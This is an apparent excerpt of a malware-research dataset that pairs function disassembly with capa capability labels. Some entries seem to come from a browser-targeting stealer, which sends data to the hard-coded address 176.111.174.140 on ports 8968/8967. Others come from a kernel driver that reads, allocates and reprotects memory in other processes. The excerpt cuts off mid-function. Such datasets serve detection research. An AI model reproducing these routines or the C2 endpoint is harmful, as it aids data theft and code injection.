joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000d2b4
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x60]
sub rsp, 0x160
lea rax, str.SOFTWAREGoogleChromeBLBeacon
lea rdx, str.chrome
mov rbx, rcx
mov qword [rsp + 0x50], rax
lea rax, str.SOFTWAREWOW6432NodeGoogleChromeBLBeacon
mov dword [rbp + 0x88], pe_nt_image_headers64
mov qword [rsp + 0x58], rax
lea rax, str.SOFTWAREMicrosoftEdgeBLBeacon
mov qword [rsp + 0x30], rax
lea rax, str.SOFTWAREWOW6432NodeMicrosoftEdgeBLBeacon
mov qword [rsp + 0x38], rax
lea rax, str.SOFTWAREOpera_SoftwareOpera_Stable
mov qword [rsp + 0x40], rax
lea rax, str.SOFTWAREWOW6432NodeOpera_SoftwareOpera_Stable
mov qword [rsp + 0x48], rax
call fcn.18001e730
test eax, eax
jne 0x18000d330
lea rdi, [rsp + 0x50]
jmp 0x18000d362
lea rdx, str.edge
mov rcx, rbx
call fcn.18001e730
test eax, eax
jne 0x18000d34a
lea rdi, [rsp + 0x30]
jmp 0x18000d362
lea rdx, str.opera
mov rcx, rbx
call fcn.18001e730
test eax, eax
jne 0x18000d3d8
lea rdi, [rsp + 0x40]
xor ebx, ebx
mov rdx, qword [rdi + rbx*8]
lea rax, [rbp + 0x98]
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x18000d3cf
mov rcx, qword [rbp + 0x98]
lea rax, [rbp + 0x88]
lea rdx, str.version
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x18000d3e5
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc rbx
cmp rbx, 2
jl 0x18000d364
xor eax, eax
add rsp, 0x160
pop rdi
pop rbx
pop rbp
ret
mov eax, dword [rbp + 0x88]
and dword [rbp + 0x90], 0
lea r8, [rbp + 0x90]
lea rdx, [0x180032670]
lea rcx, [rsp + 0x60]
mov byte [rsp + rax + 0x60], 0
call fcn.18001e368
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [rbp + 0x90]
jmp 0x18000d3da

Function at 0x18000d778
Capabilities:
Enumerate process modules

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x198]
sub rsp, 0x290
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov edi, edx
mov rbx, rcx
and dword [rsp + 0x38], 0
lea rcx, [rsp + 0x20]
call fcn.18000be3c
nop
lea eax, [rdi + 1]
test eax, 0xfffffffe
jne 0x18000d7c2
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, eax
mov edx, edi
mov ecx, 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18000d80e
mov dword [rsp + 0x50], 0x238
lea rdx, [rsp + 0x50]
mov rcx, rax
call sub.KERNEL32.dll_Module32First
jmp 0x18000d80a
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x20]
call fcn.180013490
lea rdx, [rsp + 0x50]
mov rcx, rdi
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x18000d7ee
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.18000be64
nop
lea rcx, [rsp + 0x20]
call fcn.18000c4e8
mov rax, rbx
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x18000e768
Capabilities:
Parse credit card information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov ecx, dword [rcx + 0x7c]
xor al, al
mov bl, 1
cmp ecx, 0xffffffff
je 0x18000e912
cmp ecx, 0x7c
je 0x18000e912
cmp ecx, 0x29
jne 0x18000e7ad
cmp dword [rdi + 0x1c], 0
jne 0x18000e912
test dword [rdi + 0x80], 0x10000000
je 0x18000e91d
cmp ecx, 0x2e
jne 0x18000e7c8
lea rcx, [rdi + 0x40]
call fcn.18000e2f4
mov rcx, rdi
call fcn.1800115dc
jmp 0x18000e8fe
cmp ecx, 0x5c
jne 0x18000e82b
mov rcx, rdi
call fcn.1800115dc
mov eax, dword [rdi + 0x80]
and eax, 0x80
je 0x18000e7fe
cmp byte [rdi + 0x78], 0x62
jne 0x18000e7fe
lea rcx, [rdi + 0x40]
call fcn.18000e75c
mov rcx, rdi
call fcn.1800115dc
jmp 0x18000e906
test eax, eax
je 0x18000e81e
cmp byte [rdi + 0x78], 0x42
jne 0x18000e81e
lea rbx, [rdi + 0x40]
mov rcx, rbx
call fcn.18000e75c
mov rcx, rbx
call fcn.180011584
jmp 0x18000e7f1
mov rcx, rdi
call fcn.18000e9c8
jmp 0x18000e8fe
cmp ecx, 0x5b
jne 0x18000e856
mov rcx, rdi
call fcn.1800115dc
mov rcx, rdi
call fcn.18000ef80
mov edx, 0x5d
mov rcx, rdi
lea r8d, [rdx - 0x59]
call fcn.1800101c4
jmp 0x18000e8fe
cmp ecx, 0x28
jne 0x18000e880
mov rcx, rdi
call fcn.1800115dc
mov rcx, rdi
call fcn.180012428
mov edx, 0x29
mov rcx, rdi
lea r8d, [rdx - 0x24]
mov bl, al
call fcn.1800101c4
jmp 0x18000e8fa
cmp ecx, 0x5e
jne 0x18000e893
lea rcx, [rdi + 0x40]
call fcn.18000e100
jmp 0x18000e7f1
cmp ecx, 0x24
jne 0x18000e8a6
lea rcx, [rdi + 0x40]
call fcn.18000e380
jmp 0x18000e7f1
lea eax, [rcx - 0x2a]
cmp eax, 1
jbe 0x18000e947
cmp ecx, 0x3f
je 0x18000e947
cmp ecx, 0x7b
je 0x18000e947
cmp ecx, 0x7d
jne 0x18000e8d5
test dword [rdi + 0x80], 0x10000000
je 0x18000e92b
cmp ecx, 0x5d
jne 0x18000e8e6
test dword [rdi + 0x80], 0x10000000
je 0x18000e939
mov dl, byte [rdi + 0x78]
lea rcx, [rdi + 0x40]
call fcn.18000e10c
mov rcx, rdi
call fcn.1800115dc
test bl, bl
je 0x18000e906
mov rcx, rdi
call fcn.180011684
mov ecx, dword [rdi + 0x7c]
mov al, 1
mov bl, al
jmp 0x18000e77c
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov edx, 5
mov rcx, rdi
call fcn.180010180
int3
mov edx, 6
mov rcx, rdi
call fcn.180010180
int3
mov edx, 4
mov rcx, rdi
call fcn.180010180
int3
mov edx, 0xa
mov rcx, rdi
call fcn.180010180
int3
Function at 0x180016270
Capabilities:
Parse credit card information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov ecx, dword [rcx + 0x7c]
xor al, al
mov bl, 1
cmp ecx, 0xffffffff
je 0x18001641a
cmp ecx, 0x7c
je 0x18001641a
cmp ecx, 0x29
jne 0x1800162b5
cmp dword [rdi + 0x1c], 0
jne 0x18001641a
test dword [rdi + 0x80], 0x10000000
je 0x180016425
cmp ecx, 0x2e
jne 0x1800162d0
lea rcx, [rdi + 0x40]
call fcn.18000e2f4
mov rcx, rdi
call fcn.180017ff8
jmp 0x180016406
cmp ecx, 0x5c
jne 0x180016333
mov rcx, rdi
call fcn.180017ff8
mov eax, dword [rdi + 0x80]
and eax, 0x80
je 0x180016306
cmp byte [rdi + 0x78], 0x62
jne 0x180016306
lea rcx, [rdi + 0x40]
call fcn.18000e75c
mov rcx, rdi
call fcn.180017ff8
jmp 0x18001640e
test eax, eax
je 0x180016326
cmp byte [rdi + 0x78], 0x42
jne 0x180016326
lea rbx, [rdi + 0x40]
mov rcx, rbx
call fcn.18000e75c
mov rcx, rbx
call fcn.180011584
jmp 0x1800162f9
mov rcx, rdi
call fcn.180016460
jmp 0x180016406
cmp ecx, 0x5b
jne 0x18001635e
mov rcx, rdi
call fcn.180017ff8
mov rcx, rdi
call fcn.180016738
mov edx, 0x5d
mov rcx, rdi
lea r8d, [rdx - 0x59]
call fcn.1800176f4
jmp 0x180016406
cmp ecx, 0x28
jne 0x180016388
mov rcx, rdi
call fcn.180017ff8
mov rcx, rdi
call fcn.180018798
mov edx, 0x29
mov rcx, rdi
lea r8d, [rdx - 0x24]
mov bl, al
call fcn.1800176f4
jmp 0x180016402
cmp ecx, 0x5e
jne 0x18001639b
lea rcx, [rdi + 0x40]
call fcn.18000e100
jmp 0x1800162f9
cmp ecx, 0x24
jne 0x1800163ae
lea rcx, [rdi + 0x40]
call fcn.18000e380
jmp 0x1800162f9
lea eax, [rcx - 0x2a]
cmp eax, 1
jbe 0x18001644f
cmp ecx, 0x3f
je 0x18001644f
cmp ecx, 0x7b
je 0x18001644f
cmp ecx, 0x7d
jne 0x1800163dd
test dword [rdi + 0x80], 0x10000000
je 0x180016433
cmp ecx, 0x5d
jne 0x1800163ee
test dword [rdi + 0x80], 0x10000000
je 0x180016441
mov dl, byte [rdi + 0x78]
lea rcx, [rdi + 0x40]
call fcn.18000e10c
mov rcx, rdi
call fcn.180017ff8
test bl, bl
je 0x18001640e
mov rcx, rdi
call fcn.180018064
mov ecx, dword [rdi + 0x7c]
mov al, 1
mov bl, al
jmp 0x180016284
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov edx, 5
mov rcx, rdi
call fcn.180010180
int3
mov edx, 6
mov rcx, rdi
call fcn.180010180
int3
mov edx, 4
mov rcx, rdi
call fcn.180010180
int3
mov edx, 0xa
mov rcx, rdi
call fcn.180010180
int3
Function at 0x18001ad20
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x140
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x30], 0
call fcn.180007014
lea rdx, [rsp + 0x30]
mov r8d, 0x104
xor ecx, ecx
call qword [0x180042808]
lea rcx, [rsp + 0x30]
call qword [0x180042810]
lea rdx, str.explorer.exe
mov rcx, rax
mov rbx, rax
call qword [0x180042888]
test eax, eax
jne 0x18001ada2
call fcn.1800068b0
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r9, [0x18003250e]
lea r8, [0x1800159cc]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.180007628
lea rdx, str.firefox.exe
mov rcx, rbx
call qword [0x180042888]
test eax, eax
jne 0x18001adc0
call fcn.1800068b0
call fcn.180018b04
lea rdx, str.chrome.exe
mov rcx, rbx
call qword [0x180042888]
test eax, eax
jne 0x18001adde
call fcn.1800068b0
call fcn.18000d840
lea rdx, str.msedge.exe
mov rcx, rbx
call qword [0x180042888]
test eax, eax
jne 0x18001adfc
call fcn.1800068b0
call fcn.18000d94c
lea rdx, str.opera.exe
mov rcx, rbx
call qword [0x180042888]
test eax, eax
jne 0x18001ae1c
call fcn.1800068b0
call fcn.18000da50
jmp 0x18001ae3f
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r9, [0x18003250e]
lea r8, [0x1800159cc]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
add rsp, 0x140
pop rbx
ret
Function at 0x18001b79c
Capabilities:
Connect socket
Initialize winsock library
Resolve dns
Send data
Send data on socket

Disassembly:
mov rax, rsp
push rbp
push r14
push r15
lea rbp, [rax - 0x178]
sub rsp, 0x260
mov qword [rsp + 0x70], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov r14, rcx
or r15, 0xffffffffffffffff
mov rdi, r15
and qword [rbp + 0x188], 0
mov ecx, 0x202
lea rdx, [rbp - 0x40]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x18001b7f5
lea eax, [r15 + 2]
jmp 0x18001b9af
xor edx, edx
lea r8d, [rdx + 0x30]
lea rcx, [rsp + 0x40]
call fcn.180007014
mov dword [rsp + 0x44], 2
mov esi, 1
mov dword [rsp + 0x48], esi
mov dword [rsp + 0x4c], 6
lea r9, [rbp + 0x188]
lea r8, [rsp + 0x40]
lea rdx, str.8968
lea rcx, str.176.111.174.140
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x18001b871
lea r9, [rbp + 0x188]
lea r8, [rsp + 0x40]
lea rdx, str.8967
lea rcx, str.176.111.174.140
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x18001b871
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x18001b9ad
mov rbx, qword [rbp + 0x188]
test rbx, rbx
je 0x18001b8c7
mov r8d, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov ecx, dword [rbx + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, r15
je 0x18001b866
mov r8d, dword [rbx + 0x10]
mov rdx, qword [rbx + 0x20]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, r15d
jne 0x18001b8c0
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rdi, r15
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x18001b87d
mov rbx, qword [rbp + 0x188]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp rdi, r15
je 0x18001b866
xor r9d, r9d
lea r8d, [r9 + 9]
lea rdx, str.Diamotrix
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, r15d
jne 0x18001b8ff
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x18001b866
lea rdx, str.Diamotrix
lea rcx, [rbp - 0x68]
call fcn.1800010e8
nop
mov rdx, r14
lea rcx, [rsp + 0x78]
call fcn.1800010e8
nop
lea r8, [rbp - 0x68]
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x20]
call fcn.1800046c8
nop
lea rcx, [rsp + 0x78]
call fcn.1800011bc
nop
lea rcx, [rbp - 0x68]
call fcn.1800011bc
lea rcx, [rsp + 0x20]
call fcn.18001327c
mov rbx, rax
lea rcx, [rsp + 0x20]
call fcn.180004ca8
mov rdx, rax
xor r9d, r9d
mov r8d, ebx
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
mov rcx, rdi
cmp eax, r15d
je 0x18001b987
mov edx, esi
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, rdi
cmp eax, r15d
jne 0x18001b995
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x18001b9a3
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor esi, esi
lea rcx, [rsp + 0x20]
call fcn.1800011bc
mov eax, esi
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14001196c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [0x140017098]
test rax, rax
je 0x1400119b6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400119b6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400119b6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400119b6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400119b6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400119b8
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Create device object

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rbx, rcx
lea rdi, [0x140004058]
mov rcx, rdi
lea rdx, [0x1400023d0]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea rax, [0x1400023b0]
mov dword [rsp + 0x40], 0x160014
mov qword [rsp + 0x48], rax
mov r9d, 0x8577
movups xmm0, xmmword [rsp + 0x40]
lea rax, [rsp + 0x70]
mov r8, rdi
mov qword [rsp + 0x30], rax
xor edx, edx
mov byte [rsp + 0x28], 0
mov rcx, rbx
and dword [rsp + 0x20], 0
movdqu xmmword [0x140004068], xmm0
call qword [sym.imp.ntoskrnl.exe_IoCreateDevice]
test eax, eax
js 0x1400010ec
mov rdx, rdi
lea rcx, [0x140004068]
call qword [sym.imp.ntoskrnl.exe_IoCreateSymbolicLink]
mov r8d, eax
test eax, eax
js 0x1400010ec
mov rax, qword [rsp + 0x70]
lea rdi, [rbx + 0x70]
mov ecx, 0x1c
or dword [rax + 0x30], 4
lea rax, [0x140001dd8]
rep stosq qword [rdi], rax
lea rax, [0x140001694]
mov qword [rbx + 0x70], rax
lea rax, [0x140001694]
mov qword [rbx + 0x80], rax
lea rax, [0x14000175c]
mov qword [rbx + 0xe0], rax
lea rax, [0x140001474]
mov qword [rbx + 0x68], rax
mov rax, qword [rsp + 0x70]
and dword [rax + 0x30], 0xffffffef
mov rax, qword [rsp + 0x70]
btr dword [rax + 0x30], 7
mov eax, r8d
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret

Function at 0x140001180
Capabilities:
Find process by pid

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
and qword [r11 + 8], 0
mov rbx, rcx
mov eax, dword [rcx + 0x18]
test eax, eax
je 0x140001255
mov ecx, eax
lea rdx, [r11 + 8]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov edi, eax
test eax, eax
jne 0x14000125a
mov rcx, qword [rsp + 0x50]
call fcn.1400010f8
mov rcx, qword [rsp + 0x50]
mov rbp, rax
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rsi, qword [rbx + 0x10]
xor r14d, r14d
jmp 0x140001248
mov rdx, qword [rbx + 8]
mov rcx, rbp
add rdx, r14
call fcn.1400012ec
test rax, rax
je 0x140001255
mov rcx, qword [rbx]
mov rdx, rax
and qword [rsp + 0x58], 0
and edx, 0xfff
add rcx, r14
mov r9d, 0x1000
sub r9, rdx
mov r8, rsi
cmp r9, rsi
lea rdx, [rsp + 0x58]
mov qword [rsp + 0x20], rdx
mov rdx, rax
cmovb r8, r9
mov r9d, 1
call qword [sym.imp.ntoskrnl.exe_MmCopyMemory]
mov edi, eax
mov rax, qword [rsp + 0x58]
sub rsi, rax
add r14, rax
test edi, edi
jne 0x14000124d
test rax, rax
je 0x14000124d
test rsi, rsi
jne 0x1400011dd
mov qword [rbx + 0x20], r14
mov eax, edi
jmp 0x14000125a
mov eax, 0xc0000001
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
Function at 0x140001520
Capabilities:
Find process by pid

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
and qword [r11 + 8], 0
mov rbx, rcx
mov eax, dword [rcx + 0x18]
test eax, eax
je 0x1400015e8
mov ecx, eax
lea rdx, [r11 + 8]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov edi, eax
test eax, eax
jne 0x1400015ed
mov rcx, qword [rsp + 0x40]
call fcn.1400010f8
mov rcx, qword [rsp + 0x40]
mov rbp, rax
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rsi, qword [rbx + 0x10]
xor r14d, r14d
jmp 0x1400015db
mov rdx, qword [rbx + 8]
mov rcx, rbp
add rdx, r14
call fcn.1400012ec
test rax, rax
je 0x1400015e8
and qword [rsp + 0x48], 0
lea r9, [rsp + 0x48]
mov rcx, rax
mov edx, 0x1000
and ecx, 0xfff
mov r8, rsi
sub rdx, rcx
mov rcx, rax
cmp rdx, rsi
cmovb r8, rdx
mov rdx, qword [rbx]
add rdx, r14
call fcn.1400014ac
mov edi, eax
mov rax, qword [rsp + 0x48]
sub rsi, rax
add r14, rax
test edi, edi
jne 0x1400015e0
test rax, rax
je 0x1400015e0
test rsi, rsi
jne 0x14000157d
mov qword [rbx + 0x20], r14
mov eax, edi
jmp 0x1400015ed
mov eax, 0xc0000001
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret

Function at 0x140001600
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
mov ecx, dword [rcx]
call fcn.140001968
mov rdi, rax
test rax, rax
jne 0x140001623
mov eax, 0xc0000001
jmp 0x140001686
mov rax, qword [rbx + 0x10]
mov rcx, rdi
and qword [rsp + 0x40], 0
mov qword [rsp + 0x48], rax
call qword [sym.imp.ntoskrnl.exe_KeAttachProcess]
mov eax, dword [rbx + 0x18]
lea r9, [rsp + 0x48]
mov dword [rsp + 0x28], eax
lea rdx, [rsp + 0x40]
xor r8d, r8d
mov dword [rsp + 0x20], 0x3000
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
call qword [sym.imp.ntoskrnl.exe_KeDetachProcess]
mov rcx, qword [rbx + 8]
lea rdx, [rsp + 0x40]
mov r8d, 8
call fcn.140001ce0
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
xor eax, eax
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x140001968
Capabilities:
Find process by pid

Disassembly:
sub rsp, 0x28
lea rdx, [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
xor ecx, ecx
test eax, eax
cmovns rcx, qword [rsp + 0x38]
mov rax, rcx
add rsp, 0x28
ret
Function at 0x140001b58
Capabilities:
Attach user process memory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x60
mov rdi, rcx
mov rsi, rdx
mov ecx, dword [rcx]
call fcn.140001968
mov rbx, rax
test rax, rax
jne 0x140001b86
mov eax, 0xc0000001
jmp 0x140001c16
and dword [rsp + 0x70], 0
xor eax, eax
mov dword [rsp + 0x74], eax
xor r9d, r9d
lea rax, [rsp + 0x70]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_KeWaitForSingleObject]
test eax, eax
jne 0x140001bb7
mov eax, 0xc000010a
jmp 0x140001c16
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
xorps xmm0, xmm0
xor eax, eax
mov rcx, rbx
mov qword [rsp + 0x58], rax
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm0
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_PsGetProcessWow64Process]
lea r8, [rdi + 4]
mov r9, rsi
test rax, rax
mov rcx, rbx
setne dl
call fcn.14000198c
lea rcx, [rsp + 0x30]
mov ebx, eax
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov eax, 0xc0000225
test ebx, ebx
cmovs ebx, eax
mov eax, ebx
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x140001c28
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
mov ecx, dword [rcx]
call fcn.140001968
mov rdi, rax
test rax, rax
jne 0x140001c4e
mov eax, 0xc0000001
jmp 0x140001cd5
mov rdx, qword [rbx + 0x18]
lea rcx, [rsp + 0x40]
and dword [rsp + 0x40], 0
mov r8d, 4
call fcn.140001ce0
test eax, eax
je 0x140001cd0
mov rax, qword [rbx + 0x10]
mov rcx, rdi
mov qword [rsp + 0x48], rax
mov rax, qword [rbx + 8]
mov qword [rsp + 0x50], rax
call qword [sym.imp.ntoskrnl.exe_KeAttachProcess]
mov r9d, dword [rsp + 0x40]
lea rax, [rsp + 0x40]
lea r8, [rsp + 0x48]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x50]
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwProtectVirtualMemory]
call qword [sym.imp.ntoskrnl.exe_KeDetachProcess]
mov rcx, qword [rbx + 0x18]
lea rdx, [rsp + 0x40]
mov r8d, 4
call fcn.140001ce0
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
xor eax, eax
jmp 0x140001cd5
mov eax, 0xc0000005
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x140029b84
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001d124
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001d124
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140029cd4
cmp rax, 0xffffffffffffffff
je 0x140029cd4
xor edi, edi
test rbp, rbp
jle 0x140029c7f
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001fda4
mov rbx, rax
test rax, rax
jne 0x140029c0c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140029c75
mov edx, 0x8000
mov ecx, r14d
call fcn.14001aac0
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001de00
cmp eax, 0xffffffff
je 0x140029c55
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140029c1c
mov edx, r15d
mov ecx, r14d
call fcn.14001aac0
jmp 0x140029c75
cmp byte [rsi + 0x38], dil
je 0x140029c6c
cmp dword [rsi + 0x34], 5
jne 0x140029c6c
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140029c75
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001b404
jmp 0x140029ce8
jns 0x140029ce8
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001d124
cmp rax, 0xffffffffffffffff
jne 0x140029ca0
cmp byte [rsi + 0x30], dil
je 0x140029ce8
mov edi, dword [rsi + 0x2c]
jmp 0x140029ce8
mov ecx, r14d
call fcn.1400195f8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140029ce8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140029ce8
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140029ce1
mov eax, dword [rsi + 0x2c]
jmp 0x140029ce6
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001d124
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x14002ade0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002ae08
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14002ae08
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140001c68
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001cb2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001cb2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001cb2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001cb2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001cb2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001cb4
xor al, al
add rsp, 0x28
ret
Function at 0x180001070
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x160
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rdi, rcx
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180001122
xor edx, edx
mov dword [rsp + 0x20], 0x130
mov r8d, 0x12c
lea rcx, [rsp + 0x24]
call fcn.180014210
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x180001119
nop dword [rax]
nop dword [rax + rax]
lea rax, [rsp + 0x4c]
